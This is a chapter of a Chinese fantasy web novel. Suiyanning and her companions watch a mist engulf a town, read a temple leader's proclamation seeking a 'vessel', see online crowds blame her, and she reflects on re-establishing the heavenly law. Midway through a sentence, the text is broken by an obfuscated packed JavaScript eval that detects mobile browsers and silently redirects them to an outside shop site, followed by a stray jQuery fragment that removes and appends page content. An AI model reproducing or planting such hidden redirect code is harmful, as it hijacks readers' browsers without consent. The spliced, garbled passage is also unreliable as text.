界痕之壁之上,云层近得仿佛触手可及。
脚底下是涌动不息的白雾,它们从壁沿无声滑落,汇入下方那片茫茫雾海。
若从下往上看,这巨壁便如一道垂天的雾瀑,飞流直下,无声地吞噬着一切。
岁宴宁望着脚下。
雾气比她来时又浓重了许多,翻滚涌动间,已将大半个千炉镇吞没,只余少数较高的建筑顶端若隐若现,像沉没前最后的桅杆。
按照这个速度,不出三日,整个千炉镇都会被彻底吞没。
她沉默了片刻,忽然转身看向身旁的沈栀。
“一般情况下,”岁宴宁开口,声音被风吹得有些散,“驻守千炉镇的神使,会在哪里待命?”
沈栀知道她在想什么。
他目光投向远方被白雾半掩的城镇,抬手指向中央一个隐约可见的高大建筑轮廓。
那建筑比周围的民居高出不少,因此只有下半部分被白雾吞噬,上半截依旧清晰挺立。
“如果没有什么特殊任务或紧急情况,神使通常会在潮汐分殿待命。”
岁宴宁顺着他指的方向看去,抿了抿唇。
她不认为在这种情况下,应钰还会老老实实待在殿中。
即便她现在去分殿,大概率也找不到人。
她的视线转向另一侧,那是千炉镇的城门方向。
三年前,无数人从那里逃离域族的残害;三年后的今天,又有无数人从那里离开故土,并可能永远无法归来。
千炉镇,仅仅三年,再一次失守了。
“你要找应钰的话,”沈栀忽然开口,打断了她的思绪。
他指向另一个方向,那是镇中偏西约一公里的位置,此刻已经被白雾完全笼罩,什么也看不见。
“她应该在那里。”
“当年千炉镇收复后,损失惨重,重建过程中,潮汐在镇西边一公里处建了一个观测站,直接受总殿统辖,负责监测镇内人流异动、灵气变化,以及异变侵蚀的扩散速度,原本是为了辅助重建和预警。”他顿了顿,“如果你要找应钰,她大概率会在那儿,那是最后一个能观测全镇情况、协调撤离的位置。”
岁宴宁心头一动。
以应钰的性格,一定会坚守到最后一刻,确保所有人都安全离开后,才会考虑自己。
观测站,确实是最有可能找到她的地方。
“我想先去那里看看。”岁宴宁转头看向沈栀,语气坚定。
沈栀点了点头,没有任何异议。
“等等!”一直跟在后面摆弄着手中金莲的云犀突然出声,声音罕见地透着一丝凝重。
她几步凑到两人身边,手指在泛着微光的光屏上快速点划、放大,然后将屏幕转向二人。
“你们看这个。”
光屏上赫然是一封公开文书。
标题醒目:潮汐殿主绛河告全民书。
岁宴宁目光沉静地扫过那些文字。
文书内容很长,但核心意思明确:救世计划已进入最终阶段,潮汐多年来通过所有神使的灵玉收集、储存的纯净灵气,现已全部汇聚于总殿深处的灵气囊中,这股能量庞大而纯净,足以作为“重构天道”的启动能源。
但,还需要一个“媒介”。
一个能够承载这股能量、并能在之后源源不断再生能源的“容器”。
而这个容器的人选,绛河表示已经找到。
公告的后半部分,用充满煽动性的语言描绘了一幅蓝图。
一个月内,神谴之地将涤清污秽,重现上古辉煌,灵气复苏,秩序重建,万物新生……字里行间充斥着对未来的绝对许诺。
而在讯息的最下方,附了一张图片。
图片中央,是一个巨大到几乎撑满画面的光球。
光芒极其强烈,以至于周围环境显得漆黑一片,只能依稀辨认出有几个穿着白色短打服饰的人影站在光球附近,身形渺小如蚁。
那光球并非完美的圆球形态,表面扭曲波动,仿佛内部磅礴的能量已膨胀到极限,随时可能冲破脆弱的外壳炸裂开来。
即便只是透过图片凝视,也能感受到其中令人心悸的纯净灵压。
岁宴宁的瞳孔微微收缩。
这是潮汐第十一层,灵气囊所在地。
“这讯息,”云犀的声音有些发干,“不仅通过潮汐所有官方渠道发布,还在浮空城置顶推送,并且强制推送到每个人的金莲,现在,只要还有意识的,估计都看到了。”
她又快速点开浮空城的公共讨论区,将光屏转向两人。
页面飞速滚动,海量评论扑面而来。
“殿主大义!终于等到这一天了!”
“所以容器人选是谁?怎么不说清楚?”
“还能是谁?最近闹得沸沸扬扬的那个岁宴宁啊!听说她能净化异变灵气,不是她是谁?”
“岁宴宁?那个在无主之地杀了数十人的魔头?我父亲就死在她手上!如果真是她,那正好!欠债还钱,杀人偿命!能为神谴之地献身,算是她死得其所!”
“你说得对!她本来就不该活着!”
“等等…我怎么觉得有点不对劲?容器听起来就不像好事,而且为什么之前一点风声都没有?”
“我也觉得怪,好像一直有人故意把矛头全往岁宴宁身上引…”
“少阴谋论了!殿主还能害我们不成?”
“可是…如果岁宴宁真的能净化异变灵气,那她本身不就是新的天道雏形吗?为什么还要塞进那个灵气囊里当什么容器?这不合逻辑啊!”
“是啊!你说得有理!这根本就是欺骗!是想用她做祭品吧!”
“放屁!你们懂什么!殿主的计划肯定是万全的!”
评论疯狂刷新,争吵、诅咒、阴谋论、盲目的欢呼、零星的质疑…混杂成一锅沸腾的乱粥。
但整体风向很明显,在有心人的引导下,大多数人都认定了“容器”就是岁宴宁,并且认为这是她赎罪的最好方式。
“这帮蠢猪!脑子都被狗吃了吗?!”云犀怒气冲冲地关掉光屏。
她小心观察岁宴宁的表情,见对方脸上并无愤怒,只有一片深海般的平静,稍稍松了口气,却又按捺不住翻腾的好奇。
“那个…”云犀挠了挠头,眼睛亮晶晶地看向岁宴宁,“所以你真
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814160|203127||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的能净化异变灵气吗?”
岁宴宁闻言,有些好笑地瞥了她一眼。
她没说话,只是抬起头,望向天空。
苍穹之上,几根实体化的枯髓境触须无声垂挂,如同倒悬的黑色河流。
岁宴宁目光锁定其中一根。
下一秒,云犀看见一丝极细的黑线从岁宴宁身上探出,连接上那根粗壮的触须。
然后,奇迹发生了。
那根触须从最底端开始,颜色迅速褪去,取而代之的是一种水晶般的透明质感。
透明化向上蔓延,所过之处,触须内部原本狂暴紊乱的灵气逐渐变得温顺清澈。
仅仅是几个呼吸间,整根触须已变得完全透明。
云犀眼睛瞪得滚圆,嘴巴无意识地张开。
岁宴宁见她一副看呆了的样子,眼底掠过一丝极淡的笑意,正想再选一根触须演示一下。
一只宽大温热的手掌忽然握住了她的手腕。
岁宴宁侧过头。
沈栀静静地看着她,那双黑眸清晰映出她的影子,以及不加掩饰的担忧。
岁宴宁心尖微软,冲他轻轻笑了笑,另一只手抬起,在他握着自己手腕的手背上安抚性地拍了拍,顺带摸了一把他微凸的骨节。
看着身旁人耳垂腾得烧红,她才心满意足地收回手。
云犀也立刻反应过来,连忙摆手:“够了够了!我信了!我就是太震撼了。”
她语气激动起来,“不过我真的觉得最后那个人说得对!如果你有这个能力,那你可能就是新生的天道啊!是这个世界的救世主!绛河居然想把你塞进那个什么灵气囊里当个假货的启动器,她是不是这么多年闷在殿里研究那些乱七八糟的阵法灵器,把脑子给研究坏了?!”
她越说越气,在旁边嘟嘟囔囔,从绛河的研究癖好一直数落到潮汐僵化的管理制度。
岁宴宁却已经没在听她说话了。
她望着脚下汹涌的白雾,望着前方即将被彻底吞噬的千炉镇,望着天空中那些垂落的触须。
云犀的话在她脑中回响。
——你可能就是新生的天道。
神骨上的天纲早已被毁坏,天纲是由当时世间所有生灵物种派出的代表一同刻下的规矩。
那时候,人族还只是众多族群中最不起眼的一支,与妖兽、灵植、魔族、妖族共居于这片土地。
如今呢?
神谴之地只剩下人族,和一些尚未开智的花草走兽。
若想重塑天道,规则与当年相同,所有生灵派代表,共同签署天纲。
可现在所谓所有生灵,人族占了绝对的主导。
若按当年的规矩,只需人族派出一位代表,在新刻的天纲上签订契约,天道便算重立。
但那样的话,天纲就完全掌握在一个人手中。
岁宴宁眼睫微垂。
天道规矩,从来不是某一族、某一人说了算。
它应当是众生意愿的凝结,是万物共存的底线,是哪怕沧海桑田、世代更迭也无法轻易撼动的基石。
所以,若要重立真正的天道,必须让所有人族共同签订天纲。